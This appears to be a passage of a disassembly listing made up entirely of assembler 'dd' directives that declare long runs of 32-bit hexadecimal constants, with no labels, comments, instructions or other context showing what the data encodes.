dd 12E50AB8h, 9AC91232h, 0A5ACBD45h, 0C4185D3Fh, 0CB90C75h
dd 692E3005h, 39CBD131h, 0E8E91661h, 72D38D2Bh, 8D2F02FFh
dd 69A9211Bh, 73EF1046h, 4BF15128h, 0CEFC124Fh, 0BE560148h
dd 1D6D1FE3h, 0A5963B78h, 484CD866h, 0C77E912h, 0F04AC1ADh
dd 1D069923h, 7C294E79h, 0A46CF810h, 4ED5B00Ch, 31DA0403h
dd 81EDD8DDh, 0A2AFF51Dh, 0C3E09093h, 0E4829738h, 89615749h
dd 8C6800FBh, 0BE4BB122h, 22DA4ABFh, 60F95B4Bh, 0F8BA5243h
dd 9035E860h, 0DFB69BDh, 0BC83C809h, 5D73FEA1h, 8423018h
dd 95642CAAh, 0DE767A3Ah, 9C3407Ah, 22CF047Ah, 0F20F76E9h
dd 0B4847E9h, 9053FDE9h, 0C05AD5AEh, 0FE410BFEh, 0ED37C135h
dd 8D31203h, 0EF241763h, 0F2C0265Dh, 0C3984E4Ch, 10621768h
dd 2B6BEA59h, 68853B59h, 8FB31E6Fh, 26501553h, 83F85430h
dd 710A5CE1h, 65BF57C0h, 7679D603h, 0C25FFB27h, 80F959CAh
dd 656036BAh, 0D3163107h, 2904535Ah, 2D00B21Fh, 9E42BBCh
dd 3AA8051Dh, 0E82924C7h, 503E07CAh, 914CE911h, 7BE890D1h
dd 66775312h, 0DA20812Dh, 4FCB5ED0h, 271DA257h, 0CF88AB00h
dd 0FE2C5A59h, 671FD1C7h, 5413C06Eh, 0B24A7DB3h, 20B693D9h
dd 5D779B4Ch, 5907203Ah, 3758E630h, 5D12CEF0h, 0B06A4D4Fh
dd 54777F84h, 56D3D2h, 0EB803EB2h, 4B28493Dh, 82DB98F1h
dd 1C5A06E3h, 0B60F950Ch, 0C4877CC0h, 0B859E983h, 505E13D2h
dd 0D32FC637h, 6401D58Fh, 0E9028966h, 0A599BB1Eh, 8847792Ch
dd 117E2B5h, 41A403E0h, 0B0D2202Bh, 75AF3F12h, 0BC5098B8h
dd 7E49674h, 0B5BFA28h, 60EBA18Fh, 0E1402A49h, 5A734DDh
dd 6E98907Eh, 5B948898h, 85685362h, 9D805B57h, 4C187D12h
dd 8A5E5D2Fh, 21662546h, 462CC6AFh, 3E441D3Fh, 2CF1A4Ch
dd 0ABC3F82Bh, 3882E9A0h, 8F4ED891h, 0E9E4AB86h, 0CA3AE5E9h
dd 0EFD85F6Ah, 0D1CF4A67h, 3A1B15B9h, 3C58DE8Fh, 89AC1524h
dd 0EFD6399Eh, 5AB8F5C0h, 8FE9888Eh, 78737469h, 457F8220h
dd 0EB50A7BEh, 18333159h, 568ED5D6h, 0A7C0B68h, 7E405104h
dd 0CE036BAFh, 0F7814F5Dh, 6908E9A1h, 189DE7D8h, 0C4AB768h
dd 831F638Dh, 0B52CC14Bh, 73AC700h, 0A029306Ch, 91F089FFh
dd 0AD80936h, 0EA970066h, 0E3BE41BCh, 30B20401h, 752D688Bh
dd 0FAF46623h, 0E5BBBF3Bh, 543958D9h, 641DF013h, 6521FE40h
dd 605E7BF3h, 0FDB0B80h, 75DA8530h, 0BC18B668h, 44F56216h
dd 8F09EB64h, 81485C72h, 0B8505A61h, 0AA0147ADh, 2A4E3DE9h
dd 80EE5340h, 0A16FB30Eh, 1B2825C9h, 0BE00844Eh, 0A65C3C28h
dd 0FF8F2766h, 0BD512012h, 0C2947949h, 890BDAC5h, 668A0204h
dd 0BDEF7BEFh, 2C80448h, 0AB24E99Eh, 0D831AD82h, 0DACBC052h
dd 0F592508h, 4CE69D40h, 35D71C17h, 98D0050Ah, 1A03C482h
dd 0C8017D74h, 7F863C0Ch, 0E7E83013h, 0D9290E09h, 0B8C1C300h
dd 1F485249h, 7D5706FEh, 0D01E24ECh, 1C68081Ch, 0A2843014h
dd 511FB77Ch, 0CE8FE6D1h, 28646CE5h, 0FF1C03EEh, 0F1019939h
dd 0E307EE2Ah, 1F70BB98h, 44351425h, 626874B4h, 4682EF4Bh
dd 3B248691h, 3ECDD435h, 304007AFh, 1D480BE9h, 91EAC3ABh
dd 427AD242h, 5B3209Ch, 753B3CC7h, 70AF0F79h, 2D475F9Eh
dd 2928A160h, 78ADAF0h, 0FA122028h, 97E919D0h, 0DDD76119h
dd 0DD6765A9h, 0A3D570EAh, 7ECED649h, 9D26102Eh, 0AC1A4240h
dd 6D1F71Dh, 0CAA0252Fh, 0B65C2467h, 0D7685041h, 542D3578h
dd 40586331h, 8B28F29Fh, 2E96716h, 3C3E6AB1h, 1024689Ch
dd 5C6C9925h, 234D03F3h, 1BACE944h, 0FCC2AB64h, 2F7B468Ah
dd 0F1A1DA8h, 0B028E251h, 0E9F134F1h, 2810BD30h, 3959232Ch
dd 0F326AC04h, 0C17BBAC8h, 39685C10h, 168F3656h, 0C704F0B2h
dd 0DCADCBBFh, 0D21D3110h, 0BFC039B8h, 57BD10CFh, 64D7F726h
dd 0EF810507h, 0A9A17D50h, 2753B056h, 0B720442Bh, 4C285F65h
dd 0D5D242F6h, 0A25079E0h, 0BE724E9Eh, 0E95450F2h, 52B59427h
dd 0EE801DF7h, 1E316EB4h, 0B3534692h, 1EDCE6B1h, 0E8B2CC30h
dd 91FB4EE9h, 7B04EFD0h, 0C0B5E045h, 0A9C03E94h, 9DFBD55h
dd 29198032h, 0D55D8F41h, 0EDF5455Ch, 321141E0h, 6858C10Fh
dd 8C3A7FB9h, 153EA942h, 0E843A5FAh, 0F751082h, 0CE9A522h
dd 936E50B0h, 3B1F1916h, 0E6714001h, 3F28C4E0h, 5FBEE90Bh
dd 3D73E120h, 2CF74411h, 0CD9B08Eh, 0E94F0AA8h, 81DFB9E5h
dd 5047AA2Dh, 5296E1Eh, 9764A330h, 64599387h, 3B57AC41h
dd 7D6A8FBEh, 2048493Fh, 1CF68110h, 0A7DF0F5Eh, 0A5A4F331h
dd 0C1C0935Ch, 3E6911B9h, 628C4228h, 2C11710h, 2055D229h
dd 8F6B3BCFh, 3DB80220h, 904160F3h, 4AF482ABh, 98833939h
dd 1F069EF7h, 137030E9h, 42EEB83Ah, 4838D700h, 506E8C1h
dd 0B9190039h, 76402D60h, 7CDC619Ch, 5C987209h, 196F166Dh
dd 649F9E4Ah, 0F94561Bh, 82419B50h, 578C2157h, 171AE789h
dd 0F8B4C9E9h, 829193E8h, 5A7C2120h, 5414E902h, 225C164Dh
dd 4D48C299h, 6900A835h, 42056FADh, 0F426E229h, 0FE4012DBh
dd 3012015Dh, 34479701h, 87957380h, 0F1875E9Fh, 45EB82h
dd 0D83362BDh, 5BFE7D5Ch, 0FE88D707h, 0FCF69272h, 0F0FBED1h
dd 7D697636h, 4C9DB0D8h, 0F64A9503h, 0FA97BBDEh, 0C1D4B7E1h
dd 10AD6AAh, 0A52B1774h, 6295EC7Ch, 63A58C9Eh, 6BB8A46Ah
dd 6AE90840h, 1A6A3BA4h, 0ECABFE7h, 7052CC00h, 6BF37C5Eh
dd 7C087410h, 0FC20C495h, 28832CAh, 0B56B2642h, 9F62A2B5h
dd 7B2DFFC9h, 1B103D0Eh, 0F2810F2Ch, 4DA86470h, 2D5700ABh
dd 0D626E2Eh, 0C5C0537h, 0FB6408Fh, 7C296C42h, 0E507A3E8h
dd 1BA8111Eh, 914B3998h, 72684602h, 403E9A4Ah, 0E03E5CEh
dd 0CE357B5Ch, 2D778200h, 0D9623C0Dh, 58903Eh, 45B3685Bh
dd 0E0B920A8h, 14202838h, 0DEE1D1h, 632E232Bh, 1759CD29h
dd 106E5C1h, 1E30FF21h, 5BDDF015h, 2AB471B0h, 501A526h
dd 56AD740Ah, 0F6D2FD61h, 1EA626E0h, 0EC8009CAh, 6841BC54h
dd 63366EB8h, 0F822C60Dh, 886205Ah, 54EA6BFh, 0B2B11EEBh
dd 17AC2C80h, 660DC001h, 0CDB0028Fh, 575D01E3h, 894C307Fh
dd 1045BDFh, 51A7E9FDh, 293CF2F9h, 0DE456036h, 9704EA3Ch
dd 0D5C94361h, 4CE45D20h, 14819FF9h, 0F144BF65h, 0D3108250h
dd 7F771D67h, 0EC204289h, 0C1612311h, 9A05ED28h, 378A84BFh
dd 0F00CFE04h, 0AFD252FFh, 4F209DD0h, 12D209Eh, 56967596h
dd 122A0F91h, 2078B800h, 48314600h, 7BC92D40h, 920761C4h
dd 2AC15EE9h, 8842569Dh, 0A77FD3B2h, 0E99C2DCDh, 0C9C95417h
dd 0B352C5E0h, 54500A99h, 47BE0BE0h, 27A8D916h, 1F3F0E3Fh
dd 0E1CA2720h, 13843B78h, 89C2B3E9h, 0E4C5F7CBh, 22A45ABCh
dd 8293FF69h, 9269E71Ah
dd 2936453h, 7A0845ECh, 8871348Bh, 0E9515760h, 70AE6BD7h
dd 2B5BA711h, 13A4C8Dh, 0BF38C88Dh, 9DFA4140h, 223C06D5h
dd 949DDC56h, 0DF30343Bh, 8A4CE21Ch, 2B0BC851h, 2BF26Ch
dd 2CFC18F7h, 315DEA89h, 5A06849Dh, 0E701C91h, 0C9405EE1h
dd 0C5F6D59h, 51DEF754h, 0E44EDD90h, 0C223484Bh, 3E98C1E8h
dd 94069F26h, 0DC7E8B4Eh, 0A50C6409h, 459F8087h, 9E67C02Ah
dd 4FF38079h, 56319508h, 939E925h, 4B5EF400h, 220E382Ch
dd 4B387604h, 228E08E9h, 0AF4C804Bh, 0DA12836Ah, 0EC152958h
dd 51551FB9h, 40392780h, 0A0495941h, 2673D1F5h, 3BD2C8Dh
dd 1AD6B674h, 775CF1DAh, 326AF32Eh, 65900A5h, 3E817AABh
dd 8698E4EBh, 334DD847h, 1644C15Ch, 0B522E48h, 0B20BDBECh
dd 4D52A6EDh, 715A434Ch, 0A731E597h, 0E90984E5h, 588CA4D9h
dd 0B8828FF1h, 1EE5044Ah, 8A0587Ch, 0C66769FAh, 2710EB5Fh
dd 0A30144A7h, 0E4EFCA81h, 4D13B747h, 0F588907Ch, 7630F68Dh
dd 4BED0B17h, 3A0384C5h, 2307E0DDh, 0C34456F6h, 0D6F723h
dd 8265EDA8h, 0CAF9E923h, 0D360BC9Ah, 0E54C707Eh, 15A121Ah
dd 0CF0300FBh, 5F367119h, 4787E917h, 49AEEB4h, 4510FF0Ah
dd 0A600EEF7h, 11E1A636h, 5DEE2F31h, 147F3C62h, 0E95C17C0h
dd 59728245h, 506B007Fh, 4E337223h, 0C7F1F405h, 0E90141E1h
dd 0AD5E2413h, 307F832Ch, 0A3840F03h, 0C6E300C8h, 786B65B2h
dd 0FB6CEEE9h, 0B90580D3h, 68C52531h, 180F7526h, 7851AB32h
dd 0D5BE2D90h, 0A46F34A1h, 10FF383Dh, 80175D98h, 0FDEB04EBh
dd 776ED810h, 0C28BE260h, 5EBE53FCh, 962CC92Fh, 180E9336h
dd 58E30603h, 0D064C12h, 0EF16497Eh, 4966C902h, 207D5546h
dd 0F5543069h, 0F1E902Eh, 10CB2C61h, 0C0E4D9CEh, 3FA6C935h
dd 0AFD2A04h, 6D595431h, 4FE485D9h, 0B9517D40h, 18FC0656h
dd 0B58BE1Fh, 1497CE29h, 7C57A2A0h, 4066C9D4h, 59CFE93Eh
dd 51120FACh, 0F68BBF86h, 24DBD0D4h, 3B59648Ah, 5980564Ch
dd 50F0E180h, 2C13B00Fh, 77AEEFFh, 667058C1h, 0C443EFE9h
dd 103BBFB7h, 0F33430B1h, 0E807AAB8h, 0C9BEEC56h, 2D0481Fh
dd 2962E191h, 49147CD1h, 68563723h, 4115ADD5h, 9A3CBAFCh
dd 0D90AA5AAh, 5229C8FCh, 0E9CE9855h, 0A320B784h, 514669C1h
dd 0F9296214h, 0D50841E0h, 6FFF39B0h, 0E42CCB8Ch, 0C2681886h
dd 59F6D509h, 82C3C0A9h, 8F6AD780h, 2E324072h, 6C4C3E32h
dd 855FB458h, 0B455F8D5h, 92EBFDC8h, 0D1E48A8Ah, 4C9149FCh
dd 401B0CEAh, 0D1B888C7h, 0B4C5802Eh, 734BE81Fh, 4A55544Dh
dd 501110E7h, 85132E5Ah, 8018EC1h, 4E585587h, 0E102FE71h
dd 18A24446h, 56DE30F3h, 6DFC7EC6h, 92436159h, 0CF4092F2h
dd 2FDB59BCh, 4B08B86Fh, 0CFE978ADh, 0B6E979Ah, 0C2B087DBh
dd 784C6D23h, 10533FDFh, 6078BDE1h, 0D4DE6CAh, 4BB84A3Ah
dd 8EC4E7D3h, 66659DC0h, 811D0157h, 804059CEh, 9FA23003h
dd 5F837626h, 0F1E5BA1Dh, 9EAE48CAh, 0CBC4D25Fh, 4E833BBCh
dd 685CE741h, 0CC2B3416h, 1E45EF6Eh, 674C22BCh, 5F58F80Bh
dd 884E4F07h, 71189920h, 0EDFAF528h, 0EF82B5BDh, 9B4B17E9h
dd 0AB2E99C8h, 0E5814C05h, 0D0C06D53h, 1845D5F7h, 0BCDE15E9h
dd 301E58B7h, 5A975BFAh, 545E4082h, 0B2DEE9DEh, 1EF1298Ch
dd 1D4BECC1h, 0A8010279h, 0AA0883B5h, 63D032h, 0E49465B9h
dd 59CF0149h, 6012C29Dh, 3EAB7478h, 0D379B59Ah, 0BD8AC53Ah
dd 6964848Eh, 0B2DA8805h, 0CA80C067h, 13E2C06Ah, 0B4D66808h
dd 0CE41DB5Ch, 41479002h, 0F3C04432h, 0BDB20E52h, 0D24DDAF6h
dd 0EA80D809h, 0F2383B73h, 0BED32EC5h, 18AD4A5Ah, 0F8C3283Eh
dd 22DC9850h, 0EE07219Eh, 2EFA7EC1h, 39E86FB4h, 3BABE2Eh
dd 68577736h, 9754258Ah, 3E281C61h, 2F281FCh, 0CE72752h
dd 7458AFE9h, 1028C39Eh, 0B9027C43h, 2D667FB8h, 5DB5B340h
dd 0AB3B4C28h, 28EFE950h, 5FF9210Fh, 810600C1h, 266A37E1h
dd 92642E0Bh, 4CE7ADF8h, 56088E5Ah, 5D2FDA8Ah, 6FE8AB27h
dd 0AE11CE05h, 771AF031h, 4A016FD8h, 0CDCD54h, 2F41E90Ch
dd 0C920489Fh, 7D3C9AD7h, 0A2FA3432h, 0A561EC0Ch, 2F92D20Bh
dd 0D0FD4B51h, 5C68E9A5h, 0A4C051A2h, 6670B5BCh, 0F658E513h
dd 0B5AFEFE0h, 0B3E932E0h, 0B70E709Eh, 66FC02F3h, 55A05F5Bh
dd 80C4FE04h, 0D4E779EAh, 0E63F28CEh, 6EE0558h, 0B038E9h
dd 916497BDh, 484A8F25h, 31D1ED38h, 3E2CBA15h, 0D80F0433h
dd 0FE3F0455h, 4F411AF4h, 9D839BCh, 0ED327A06h, 130C5B52h
dd 68834B9Ah, 0CDE28498h, 5E69F996h, 0B10A641h, 312F3B5Bh
dd 2C44FF6Ah, 912B2A06h, 0EAC1875Ch, 0AC25E507h, 0CF3117AEh
dd 124D3A1Eh, 0DEDD12ADh, 914F1630h, 2F8257Ch, 0CB80350Eh
dd 0E5F36171h, 0A2F65E9h, 138D5D99h, 27690AE4h, 5C3C10A3h
dd 3577457Ch, 94CD29C3h, 492D8548h, 7F2F9020h, 1631260h
dd 8B110DEh, 8F5A1C69h, 0A18CEC96h, 7EB3961h, 609876BFh
dd 0C30A6F01h, 7C1C3008h, 676F1A6Dh, 1302AEACh, 8253DA3h
dd 0A1A7AAE8h, 52D4C9h, 903EBAAFh, 0FA89000Dh, 56B12D5Fh
dd 5053894h, 33CA27E8h, 0BEBF71A0h, 0E0C10732h, 34A0F003h
dd 0F77F02A8h, 0D5CB3504h, 9BC29761h, 52849058h, 7A11468h
dd 0A27D549h, 0AFD446CAh, 0D7F20112h, 66141ED0h, 4E225931h
dd 0B5295B5Bh, 4FD9882Fh, 0B6EFD12Ch, 29173710h, 0C5CAE2C5h
dd 0F4B825C9h, 0E4196596h, 2FD53797h, 95C1F46Bh, 62241477h
dd 8C714A29h, 1E741F4h, 0FEE0E280h, 0CC798C2h, 4D3F689Ah
dd 0AF67298Bh, 0C30458BAh, 66EFEAC1h, 0FEF141DEh, 0D504982Dh
dd 82359A09h, 604A10D5h, 125931AAh, 9322F87Eh, 69931DECh
dd 0E986FD2h, 4EAFEF0Fh, 0DC53A409h, 0D6AE32AFh, 1B544BE9h
dd 68E1616Eh, 0ED63460Ah, 5A09E65Ah, 0AEC19AD8h, 0E94DC4F4h
dd 2012F13Ch, 269E11AAh, 0C6294F3Bh, 0ECD34963h, 0C6E9A094h
dd 23A48245h, 6702C797h, 0FDF5D2F9h, 0FB759877h, 1AE983EEh
dd 0B28D24A0h, 0F2250598h, 10E3F056h, 9C2308Eh, 0D9EFB551h
dd 81590045h, 91EA5CC5h, 0E67548h, 33995876h, 97A5F3E9h
dd 563CDC46h, 0A305B768h, 0F7052574h, 5614BFD3h, 9CA05C8h
dd 1ABEC23h, 6D6B0520h, 0F9E9C8F2h, 0DF2E0EBCh, 0A4CF472Dh
dd 881C6442h, 625686Ch, 0A2401202h, 0B0E5E73h, 5F41EC76h
dd 376FF821h, 0B92EE576h, 0A9BCD291h, 0B03E9C2h, 0EE80B151h
dd 0D9550DE7h, 99109731h, 0C1802810h, 0C8F4EDE8h, 0B6C99891h
dd 5AEE6A74h, 2A65186Eh, 0C4455A0Bh, 0D508D6B1h, 123517A6h
dd 3BEDA4B9h, 79377062h, 88700B43h, 9B09507Eh, 239C36Fh
dd 5E0C09B4h, 0C908D05Ch, 55E18A9Eh, 0CE2B02BDh, 3C6E65A8h
dd 0AC8448F2h, 3473FB0Fh, 3EB8E159h, 5250312Bh, 5A1F9754h
dd 0B0DA72C5h, 0C8B95103h, 0E990BA7Bh, 379A1D95h, 8001ED39h
dd 0EF882EC5h, 7CFE2059h, 2CF62E5Bh, 0CF051C02h, 973D02E6h
dd 0E43607D0h, 0BF70B9E9h, 5BE319BDh, 9F9E91F0h, 86057F20h
dd 4DB1D906h, 0AFBBC72Dh, 120268C9h, 2577F22Dh, 73717DE9h
dd 35C06882h, 0EF6D605Dh, 5C028BC6h, 0F2456ABBh, 1D5540Fh
dd 17B654F3h, 2EA879E3h, 5815A0Bh, 48D50679h, 223A6E31h
dd 18486436h, 662C2904h, 3510F752h, 48C9BA02h, 654011F3h
dd 0F53F10C6h, 580B0154h, 0C2314506h, 16012DD4h, 0B81AC516h
dd 0C3407005h, 59C90781h
dd 6F0E4C44h, 0CECF5D81h, 0D260D49Eh, 0DEEA61ABh, 0C131FF48h
dd 9D942FFEh, 0CB94B914h, 34FA60CBh, 1F7307Fh, 0B37C2B0Ch
dd 0B1E95D13h, 8108D3A1h, 4F4D16DFh, 8477121Eh, 131BE06h
dd 976A5EE0h, 0BCA2252Fh, 0F5B08308h, 6AC412F6h, 0C001B41Ah
dd 5E349606h, 0E686CE31h, 8A451411h, 0F2058B20h, 905A193Bh
dd 73916EFh, 0D400200h, 25542384h, 4AF10005h, 4D2D13A3h
dd 0CF5C1504h, 0BDAD20CDh, 0A5CA3F4Bh, 584D9150h, 0C51E522Ch
dd 8E423C68h, 44935E9h, 0E15C25Ah, 3CFC5005h, 1D680DD8h
dd 6F352F62h, 0A78CDBE3h, 0B34227E6h, 2A9D2A1Ah, 0AA17450h
dd 6F022B3Fh, 0DF1C4709h, 9D13C2B0h, 588214B1h, 0FD739F68h
dd 0CEC3591Ah, 0FC2FC775h, 0EB87259Ch, 13F6A1F0h, 0E8E5C0D5h
dd 88A207A2h, 9EEE59ECh, 90E070A7h, 51464D42h, 0D675A35Bh
dd 44BAE124h, 90FD931h, 0F1AF7831h, 8A4F6F38h, 33AE109Eh
dd 0F644BB27h, 86C0F35Ah, 7853E681h, 0C110253Ah, 18390E87h
dd 0E5DE9C20h, 59D99098h, 68D81329h, 255B3FAh, 5C1685BAh
dd 28815D17h, 33785D68h, 0BB530103h, 31CE2F83h, 0DA837265h
dd 1BF473BAh, 0C6838B09h, 0D2C94101h, 7A79BFAFh, 1B0303CEh
dd 0E3E7E054h, 7F5C3335h, 6C81E10Ch, 7822A6Fh, 0DFE241F7h
dd 0D0E6E242h, 9BC0B732h, 0C8B3EC41h, 9D0E6625h, 0E797E8C6h
dd 15F131Ah, 0D65E3F31h, 0C7992064h, 674A501Dh, 8460F689h
dd 0FC851BADh, 97C230F4h, 0C0A7F4Bh, 0CCC677A8h, 9A62D616h
dd 0FDC14201h, 0C6C9EA1Bh, 0C99E2C58h, 88EFD6D2h, 5F28DFC0h
dd 8380E7FCh, 0CB024EC3h, 0C22D4CCDh, 0CD374168h, 0C9FC2476h
dd 0BCDE928Bh, 0F90F5E62h, 0E934B565h, 0C121C4B6h, 83B4ECECh
dd 9B91027Dh, 3CE779DAh, 44DC964Dh, 0CB1DF82Dh, 4C7812AFh
dd 8BD530B5h, 0CE45970Ch, 7CC5AB4Fh, 0F7E9C177h, 8C282F5Fh
dd 0A39B531Fh, 7EBDE34Fh, 19C45F24h, 47A925CFh, 938237BAh
dd 0DD01E5AAh, 462F74EDh, 197C295Bh, 0BF8B0840h, 4FE9CA90h
dd 2C75059Dh, 0F612D384h, 50F10A0Bh, 72E915C6h, 89835439h
dd 0C92F8BEAh, 2EFEEE2Dh, 0EBF01F46h, 6EE9AD30h, 18204841h
dd 0B2114FB9h, 0AB169FCBh, 0CA3F96F1h, 0C6E98249h, 0FA1694C2h
dd 0C8BA5BCFh, 0F14BF632h, 0E7679FF5h, 2BCAA625h, 1985B7BAh
dd 2F2DA864h, 0BFAFD133h, 4684E44Ch, 58991E9Ah, 0CEE8C05Ch
dd 81E895A6h, 66B5ED29h, 0FEED8C08h, 3235B9E7h, 0F4E15758h
dd 0A11568E6h, 0F405C78Ch, 100CF500h, 0C6E956Bh, 689413E5h
dd 4FE5B893h, 634C65B3h, 53A1D730h, 0DDE0DBB3h, 429776F6h
dd 0B510724Dh, 1B610B9Ah, 3D7C2C52h, 49275F5Dh, 58C2B2CFh
dd 0CAF461B1h, 0B6D8DCE4h, 218540D0h, 5A4C0F08h, 29074050h
dd 0D35EF227h, 0F0C20186h, 203E52D4h, 0EEE4D545h, 0AC40F2B8h
dd 9BF0B7B9h, 6B499F4Ch, 0CBDAAE90h, 0E1DAE005h, 986F1D7Eh
dd 1AF18D6Ch, 2C61250Dh, 0C26AE191h, 0C221B74Dh, 31273B28h
dd 393DA860h, 38525E80h, 0ED3ADDBAh, 0C1F28181h, 9D10E379h
dd 0E82180Ch, 77D60142h, 510FF4A0h, 455B703Fh, 0E806CDB0h
dd 81C55AE9h, 0DCD4F657h, 0C9B4DC30h, 5BAA6870h, 940353Dh
dd 47505D55h, 4098EDA0h, 0FF69C1ECh, 94A20103h, 75715074h
dd 0F776DFF5h, 6D09C425h, 0D8C998D9h, 0BD0A4971h, 0AE30CE45h
dd 4DEEBD34h, 6861E7BCh, 8A7B5111h, 0E22A7C94h, 0B0D25E5Eh
dd 0CD810040h, 4C3D2876h, 9637487Eh, 0DD0C2C32h, 4BDB4A1Fh
dd 483EA1Dh, 0B40111A8h, 8020C84h, 645B37E9h, 0AA9C2EFDh
dd 0CF8181DEh, 2B1E08A3h, 0D7DCD900h, 322166B6h, 45525FFAh
dd 0E6636A61h, 0FB1CB5C0h, 78EB8080h, 0E1854E4Ah, 20623AB5h
dd 0A9C1E2DAh, 261F9CB3h, 4FF5056h, 825E7CB5h, 1F543227h
dd 81609626h, 250E5BC7h, 0C15A703Eh, 16DF0882h, 6E3C4132h
dd 0B5FA5398h, 7B164A09h, 4F6B3690h, 3126C013h, 0E52DC101h
dd 20796602h, 0FE3FED57h, 90503003h, 100A3E3Fh, 40EF016Eh
dd 9526E908h, 1C4A020Fh, 64B7297h, 0D574701h, 31210519h
dd 0B88CCE0Eh, 0CE994D48h, 0D8F45C47h, 0FBB546FCh, 0E8D3B75Ch
dd 0DE38C992h, 0B592F66h, 0ADC55649h, 0FE386140h, 8BA1702h
dd 61F4BBEAh, 3BAC258Ch, 603B37DCh, 46165EE6h, 1877B5Ch
dd 36C5B5FEh, 9CAD0E9h, 400202Fh, 21CA4AC4h, 0E1C8CE64h
dd 5F023ED0h, 281A6F91h, 1DF41D8Bh, 9F66662Fh, 46207164h
dd 305C2C97h, 0B472420Ah, 8020165Dh, 9740A6F0h, 5872ED4Ch
dd 1E1E1150h, 925951CCh, 0A398BFE7h, 98BD52CAh, 0B43E36A2h
dd 25B8C83Eh, 0E5C97BD9h, 315C0578h, 0A08994C3h, 0AF9E717Dh
dd 47CDE9C1h, 61C28000h, 9192B7F0h, 25FC3517h, 4FB336A0h
dd 324D419Bh, 7E1C925Bh, 809ECD4h, 43A4DC5Eh, 35C32773h
dd 3988EBB0h, 0EA4F2025h, 0DB080A80h, 4A04B010h, 0FA08E2C1h
dd 807F2B40h, 97210B7Ch, 42B7F46Ch, 96AB2C1Eh, 0C0ABD2EDh
dd 5F97CB59h, 4B328212h, 5CE9FE80h, 0C58DA845h, 482604F9h
dd 0AC6C01D0h, 8EE909EBh, 4FA754B5h, 0D012D904h, 0D475F9D7h
dd 11C27B48h, 0B35E063Dh, 0C427933Dh, 78F8F0A5h, 68AA80D3h
dd 84824CEFh, 0E8124D0Dh, 2BD840EBh, 70AA722Ch, 0D25B98BAh
dd 0B1CF58DAh, 1368A424h, 53F7609Fh, 4265A168h, 7A934E57h
dd 64C71828h, 0EB8810B1h, 0D8D3F63Ch, 687444C5h, 1531E42Ch
dd 0F5BB5360h, 727A006Dh, 1607E381h, 0F3EC36A0h, 67271B0Ah
dd 0BE02DD74h, 761E9112h, 25822C26h, 8B92580h, 494B0168h
dd 0B3449097h, 0A51B31BFh, 86213D95h, 622AE883h, 0DA309BBAh
dd 0D32663F6h, 5426D709h, 2EA7C264h, 80BBB101h, 0C1CCA0E1h
dd 9D5BFAEDh, 0FA7C0B09h, 720B8BCFh, 0F53723Dh, 0CB8835B1h
dd 71ABE289h, 790E99Eh, 5BF58497h, 0EE2D34FFh, 93A5B634h
dd 0DA3B22DAh, 5CD16802h, 5051CEBDh, 1195507Fh, 9F35583Eh
dd 0E943ECC3h, 465EF7A2h, 218A2480h, 860B5827h, 612FA604h
dd 0D718C67Ah, 1D8F665Ch, 8C6448A4h, 6666041Eh, 9D2AA0BAh
dd 44887B49h, 4A53ACC8h, 7485A235h, 0B923902h, 2A864256h
dd 0B302A5D2h, 405E0C4Ah, 58C56EE0h, 0B7129EFAh, 0EF6CE456h
dd 3EDFFB3Eh, 0E421137Dh, 0CA1146D2h, 2E9655C5h, 1784E49Dh
dd 61361968h, 23F6A829h, 89592F9Eh, 2C5FF38Eh, 311502CBh
dd 714859E9h, 76EEC601h, 49F3385Bh, 5F236813h, 40C892E8h
dd 3297BD93h, 649E1D92h, 0CEE28100h, 3935F036h, 364BF1E9h
dd 2DE742BCh, 0E2189471h, 0EF2002EEh, 7B5B5402h, 0B0291ABh
dd 0E6C403E9h, 5A162F04h, 107392A7h, 0F2217A19h, 595AEAFAh
dd 0A62373F4h, 2C536093h, 5C271E84h, 0D0097CB0h, 0E20BF143h
dd 0BA8B60A9h, 85F4582Ch, 75A4DA10h, 0AC593F6h, 0BBE92D5Ah
dd 45E8765h, 10AA3EDAh, 6EA34ED9h, 28342F7Dh, 2DC1C293h
dd 0E7DB8148h, 39FE53BFh, 0EC8C0620h, 0E4195ADAh, 8494F6DDh
dd 84D83109h, 271DF267h, 5B4D7C59h, 68E15E40h, 316A4A28h
dd 6AEA6D61h, 685D1230h, 0EF99B580h, 9B5751B9h, 0AAEC0532h
dd 0C0CED139h, 0BBA43A34h, 5AD73112h, 0F14E94A8h, 844F7D07h
dd 931FBCC8h, 0A18901D5h, 0BF3D4805h, 0FBC6B52Ch, 170D2BBEh
dd 75D954E7h, 772B443Bh, 15E9615Ah, 4041092Eh, 0BF07E145h
dd 0C6529068h, 82ABF705h, 0BBC73D04h, 58AE9832h, 0C1645AA8h
dd 92EFBAh, 95059968h, 0EBA82B65h, 0B422CA12h, 54955840h
dd 9F012B1Bh, 32085A88h
dd 0AE0F53F6h, 4E1FE4C2h, 157A28BFh, 4A60EFAAh, 60A47E41h
dd 5A462D03h, 2829BB38h, 13C0310Bh, 0BCF79DE9h, 98FCD2E9h
dd 0D16B4A7Ch, 0D6AF371h, 5A8B043Ch, 0E301345Ah, 0E9493865h
dd 0F22AD819h, 71AC2703h, 5854805Ah, 758B6857h, 5F713702h
dd 8102EFC1h, 4DDD5EDDh, 0F9F86670h, 0CED8046Bh, 86BF00D2h
dd 0B0117840h, 5FE4A8A9h, 0F7FA1A87h, 0A0D708D7h, 163C2F6h
dd 0E9F80B44h, 0FC4935Fh, 0E04CAAF0h, 1AE940Eh, 466208B8h
dd 0D5FDDFF7h, 0F882176Bh, 37064B46h, 0C43FF031h, 13B1238Eh
dd 99116C31h, 5323327Ah, 494AC163h, 0E8F55DB9h, 0E6B9C480h
dd 0A7FFA457h, 0E84939F6h, 204E161Fh, 704AE09Ah, 3ABD551Dh
dd 6F8E0B1Fh, 448FF501h, 0C987982h, 0E95EC6A7h, 0BB148C25h
dd 6A49DA7Dh, 4A0082D7h, 3467572Dh, 0A3AF842Dh, 3C917B21h
dd 8AA993FDh, 8BB0F85h, 58806714h, 41982540h, 0FB127C5Ch
dd 0A1B39B74h, 0F8E54E92h, 4057406Ah, 9E28CB6h, 4858C32Eh
dd 4A97C42Fh, 0EDC5B1B4h, 4C272C30h, 31FE390Dh, 42D5E4F5h
dd 0A44F6B79h, 979E5496h, 201CB800h, 48C14E0Ah, 0D7342E6h
dd 63C01779h, 0EEE22012h, 495FC0Fh, 5FEAE920h, 3D58CBACh
dd 0BFC33180h, 0B54E8F14h, 8002D880h, 205425F5h, 8D9BEA9h
dd 0A365509Fh, 4F279435h, 0E00A8543h, 0FF65BA70h, 0C6C32903h
dd 9AC28D43h, 0D79677F0h, 0CE70C29Ch, 40BA9550h, 0A3F8EBC0h
